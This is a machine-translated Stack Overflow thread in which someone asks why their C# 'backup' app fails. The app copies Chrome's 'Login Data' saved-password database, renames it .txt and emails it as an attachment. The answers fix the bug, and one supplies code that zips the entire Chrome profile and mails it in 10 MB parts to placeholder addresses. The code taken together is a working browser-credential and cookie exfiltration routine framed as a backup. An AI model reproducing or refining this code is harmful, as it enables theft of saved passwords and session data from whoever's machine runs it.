我正在编写一个小的C#应用程序,它会定期备份我的文件。
现在我遇到了一个问题,因为这个File.Copy方法没有覆盖已经存在的“Login File.txt”:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
我使用复制方法原因似乎我无法在我的代码中获取没有扩展名的文件,因此我决定使用此转换并转换为.txt文件,以便我可以正确附加到我的电子邮件。 但是,我正在使用这种方法:https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx因为它允许覆盖目标文件,但似乎没有发生,我的应用程序停止发送备份原因。
我可以肯定这是问题,因为如果我评论代码的一部分一切顺利运行。
我在这里做错了什么?
提前感谢您的回答。
答案 0 :(得分:1)
检查您为File.Copy()提供的参数。似乎第一个参数不是文件而是文件夹: 本地+ @“\ Google \ Chrome \用户数据\默认\登录数据”
答案 1 :(得分:1)
您正在尝试邮寄超过400mb的完整文件夹(在我的情况下)。您的方法应该是:将内容(如果有文件夹)复制到临时文件夹。将其压缩到每个小于10mb的档案中并邮寄归档集。
在我的情况下,这将是大约50封电子邮件:
您可以使用dotnetzip https://dotnetzip.codeplex.com/ nuget包:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default";
DirectoryInfo chrome = new DirectoryInfo(local);
if (chrome.Exists)
{
using (ZipFile zip = new ZipFile())
{
string[] files = Directory.GetFiles(local);
zip.AddFiles(files);
zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb
zip.Save(local + "/test.zip");
for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
{
MailMessage msg = new MailMessage("from@from.com", "to@to.com", "subject", "body");
// https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
SmtpClient sc = new SmtpClient();
msg.Send(sc); // you should also make a new mailmessage for each attachment.
}
}
}
来自:https://stackoverflow.com/a/12596248/169714 来自:https://stackoverflow.com/a/6672157/169714
答案 2 :(得分:0)
在您的代码中,您检查是否存在路径为“Local”的文件,然后使用“local”复制路径。使用调试器,您可以检查“Local”的值,看它是否与“local”不同。下面的代码可以工作:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
// ** Note in your example "local" is capitalized as "Local"
DirectoryInfo chrome = new DirectoryInfo(local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}